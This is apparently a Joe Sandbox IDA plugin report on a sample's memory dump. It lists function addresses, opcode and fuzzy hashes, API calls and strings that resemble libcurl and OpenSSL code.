Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlenstrncmp
String ID: The file name argument '%s' looks like a flag.$no-
API String ID: 1310274236-2306055927
Opcode ID: b5a02e0ec0a221b3fc57094f181d28f082f3b4f68bc35400e9eacff989dcdeab
Instruction ID: 6e1ffae26fc8500a6889840da45bcb0a09d0d232d30e4b8441244c8f0a406733
Opcode Fuzzy Hash: b5a02e0ec0a221b3fc57094f181d28f082f3b4f68bc35400e9eacff989dcdeab
Instruction Fuzzy Hash: 4FD15CB5508340DFD320CF14E4847DABBE1FBC5304F188A6EE8899B255DB76A986CF52

Function 00D333B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D333CD
strlen.MSVCRT ref: 00D33472

Strings

Content-Type, xrefs: 00D334A2

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen
String ID: Content-Type
API String ID: 39653677-2058190213
Opcode ID: 76ec0063b9b9958d5382fbacdb695599ab15cba19bc1a7ec57769e52acd9bdf7
Instruction ID: 88d4a1d9dc0aa7e23956162f81d836828cf99142ddd020c62b3059e8c3dcaf0c
Opcode Fuzzy Hash: 76ec0063b9b9958d5382fbacdb695599ab15cba19bc1a7ec57769e52acd9bdf7
Instruction Fuzzy Hash: DD41E4B2A043108BEB25DF54D9C1B12B7A5AF54314F1E8078DD489B306E77AEE05CBA2

Function 00D27D8F Relevance: 5.4, Strings: 4, Instructions: 391COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
Re-used connection seems dead, get a new one, xrefs: 00D27DD1
7, xrefs: 00D2865C
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen
String ID: *$7$Internal error clearing splay node = %d$Re-used connection seems dead, get a new one
API String ID: 39653677-2891390500
Opcode ID: 7bad23099551402777aab89bab80a8fe1798021e408784fbf2d5f3e3af41798a
Instruction ID: 905d2f4fa6689e00a7a2221edc956632aa280f6416a7e2bbd04c386da81de246
Opcode Fuzzy Hash: 7bad23099551402777aab89bab80a8fe1798021e408784fbf2d5f3e3af41798a
Instruction Fuzzy Hash: 6AE191B16053109FE724DF14E845B6BB3E4EF65308F084928F9898B291EB71ED44EB72

Function 00D38AE0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00D21C39,OpenSSL/1.1.1a (Schannel),00000050,00D1EECE,00000004,?,?,?,00D18BA3), ref: 00D38B9B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?,?,?,?,?,00D21C39,OpenSSL/1.1.1a (Schannel),00000050,00D1EECE,00000004,?,?,?,00D18BA3), ref: 00D38BAF

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00D38B0E, 00D38B15, 00D38B46, 00D38B74, 00D38B95, 00D38BA9

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 9ce24be26b3c6965bed36e4c349147010fb7c5581c0b9b21b9f0e63befb8bcd1
Instruction ID: 859997561c7232c16b15b5cc194e1c42787a28384d1d36449fe14828ad88bea7
Opcode Fuzzy Hash: 9ce24be26b3c6965bed36e4c349147010fb7c5581c0b9b21b9f0e63befb8bcd1
Instruction Fuzzy Hash: 0A2104B0A0435B9FD720CF48EC80B2AB7E8E785300F18025DF885C7221D7B5AC10A3B1

Function 00D38BD0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A), ref: 00D38C8B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?), ref: 00D38C9F

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00D38BFE, 00D38C05, 00D38C36, 00D38C64, 00D38C85, 00D38C99

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 9ce24be26b3c6965bed36e4c349147010fb7c5581c0b9b21b9f0e63befb8bcd1
Instruction ID: 0b3f833f8643a891fad5fa394e26b6f8d6e6a372852d0ee05fb6ff31bf7b0ed2
Opcode Fuzzy Hash: 9ce24be26b3c6965bed36e4c349147010fb7c5581c0b9b21b9f0e63befb8bcd1
Instruction Fuzzy Hash: DB210470A0535A8FC724CF58ECC0B2977D8E785300F181569F985C7225D7B5AC10A3B1

Function 00D39BC0 Relevance: 4.5, APIs: 3, Instructions: 29encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00D39BD7
CryptGenRandom.ADVAPI32(?,?,?,?,00000000,00000000,00000001,F0000040), ref: 00D39BED
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000,00000000,00000001,F0000040), ref: 00D39C00

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: ce68ad2eab06729ed3feaeb3f78d678ca6e9357377ca6632746aa7511028008e
Instruction ID: 31aee4a35e2c03e8af974df19afd137e0e17ffd9a555267704fabda4db2a8a7a
Opcode Fuzzy Hash: ce68ad2eab06729ed3feaeb3f78d678ca6e9357377ca6632746aa7511028008e
Instruction Fuzzy Hash: 48F09270344301BBEB200F60DC8AB067AE5BB44744F140438F681D92A4D7BBD858AB55

Function 00D27A9B Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
Forcing HTTP/1.1 for NTLM, xrefs: 00D27F80

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Forcing HTTP/1.1 for NTLM$Internal error clearing splay node = %d
API String ID: 0-4157828289
Opcode ID: a98bd5cd603e2d8b2ef189975bae4d93a9b18a7127d6435429c8fe25c72094a3
Instruction ID: c3d9d1c1b241b9fdf61e8d9ec224bb459277e9b537853e74f0d779b4689da1d6
Opcode Fuzzy Hash: a98bd5cd603e2d8b2ef189975bae4d93a9b18a7127d6435429c8fe25c72094a3
Instruction Fuzzy Hash: 67F1D6716057109FE7219F24EC41B6BB7E5EFA4308F184828F89987261EB31ED54EB72

Function 00D276C1 Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 7bec3b79b3adb967adcf1c89f971e086a158d7c111b5bdd07b789297817127be
Instruction ID: b7aa9fbee5f0401972b2e57d85ed18a517d2aab365d77c1fb7a91df53bccb29d
Opcode Fuzzy Hash: 7bec3b79b3adb967adcf1c89f971e086a158d7c111b5bdd07b789297817127be
Instruction Fuzzy Hash: 31A1E3716062109FE7209F18EC41B6BB3E5FF61318F184928E995873A1EB71EC54EB72

Function 00D27BAC Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D2824B, 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 587df4f85c09076b4c01267c08ad2f2517fec4ce665cb3c9b39cd36a1d1db181
Instruction ID: 9fa4141f7f60f49ec40ba4d4d87555b771b079f4c421dcac0e28a612c89d5ca0
Opcode Fuzzy Hash: 587df4f85c09076b4c01267c08ad2f2517fec4ce665cb3c9b39cd36a1d1db181
Instruction Fuzzy Hash: 2DB10271606710DFE7249F14E841B6BB3E1FF61318F184928E89987291EB71EC94EB72

Function 00D2774F Relevance: 2.8, Strings: 2, Instructions: 258COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
Hostname '%s' was found in DNS cache, xrefs: 00D284B3

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Hostname '%s' was found in DNS cache$Internal error clearing splay node = %d
API String ID: 0-2944650772
Opcode ID: 196d659a2c17c1e520272723d8b9bdb7604fae0b6dbb33e3c85db86e8306450e
Instruction ID: b4caccfc6aec132159b1e036646d8854d1c066e535ed8e31401032ac38042c53
Opcode Fuzzy Hash: 196d659a2c17c1e520272723d8b9bdb7604fae0b6dbb33e3c85db86e8306450e
Instruction Fuzzy Hash: 9E91EC71605310DFD724DF24E841B6AB3E4FF65308F084928E89A972A1EB31E954EF72

Function 00D27771 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 28daa34763fbe2a42dfed511967b8986bc65baead854aa3d5f09c57157156779
Instruction ID: e833510b238cd0de90099ca1a4ef3461eefc965df4a72fb7e5514deaea844a33
Opcode Fuzzy Hash: 28daa34763fbe2a42dfed511967b8986bc65baead854aa3d5f09c57157156779
Instruction Fuzzy Hash: D581B3716063109FE724DE18E841B2BB3E5FF61318F184928E995873A1EB71EC54EB72

Function 00D27B8D Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D27B95

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: e860584f2dc665c93c448d07cf93fa1a13aca4d236b645db60cffe8766dd3592
Instruction ID: 1b33a0e4a7677c73f34e0624705883ecc43238132183309bc20a6aab0cd64443
Opcode Fuzzy Hash: e860584f2dc665c93c448d07cf93fa1a13aca4d236b645db60cffe8766dd3592
Instruction Fuzzy Hash: 9381F1716057109FE7259F24EC41B6BB7E1FF64308F084928F99987261EB32E854AB72

Function 00D279B7 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 561c093bf8d331bc257f08caaa4b0d448cd4264352363b9ac028fc4babd11a6f
Instruction ID: 7ac6d0ffbb8a6f13d700cf76138af6351e33a13709fc24fbe75fa8d694752235
Opcode Fuzzy Hash: 561c093bf8d331bc257f08caaa4b0d448cd4264352363b9ac028fc4babd11a6f
Instruction Fuzzy Hash: 2B81E2716053108FD7249F14E841B6AB3E5FF6131CF084928E9998B2A2EB71ED54EB32

Function 00D27924 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 7594e2b1185c92adc26e843e9e7fbb818a36c6e6bfdb83422d6b46364dff32dc
Instruction ID: a3771a3a5863d09fa35fe653ac34ac32d61fedd23c217475a2f4e2653bbd10d8
Opcode Fuzzy Hash: 7594e2b1185c92adc26e843e9e7fbb818a36c6e6bfdb83422d6b46364dff32dc
Instruction Fuzzy Hash: ED81E2716063109FE724DF18E841B2BB3E5EF61318F084928F99987391EB71EC54AB72

Function 00D27828 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: ac021bdb912cf89eddc13e0a1f9f4daca7d0478fc91e338630455a81d1dc81c8
Instruction ID: 76608bd418d3d99c27aa6131d2b20aa08912ecc1b63289e82e9685ec148dddcc
Opcode Fuzzy Hash: ac021bdb912cf89eddc13e0a1f9f4daca7d0478fc91e338630455a81d1dc81c8
Instruction Fuzzy Hash: BB71D2716063109FE724DE24E841B2BB3E5FF61318F184828E99987391EB71EC54EB72

Function 00D277DB Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 72b4a1d53a864bb5fad433ca0affed09d252479bdc41a886e5b44b0fc647b521
Instruction ID: a4a5817345080b6ac834c6afcb551658e94e2225d50c565418926b32709050fa
Opcode Fuzzy Hash: 72b4a1d53a864bb5fad433ca0affed09d252479bdc41a886e5b44b0fc647b521
Instruction Fuzzy Hash: 5981E3716063109FE724DE14E845B6BB3E5FF6131CF184928E89987291EB71EC44EB72

Function 00D278AB Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 321500b52ae8c017c5499ce3c205476b8a9d40ddb7b949b4527eb8a3fb48515d
Instruction ID: 8971b1c58f22d670c0043d3840171ecae54a1338e7598369575f4cac26c57c18
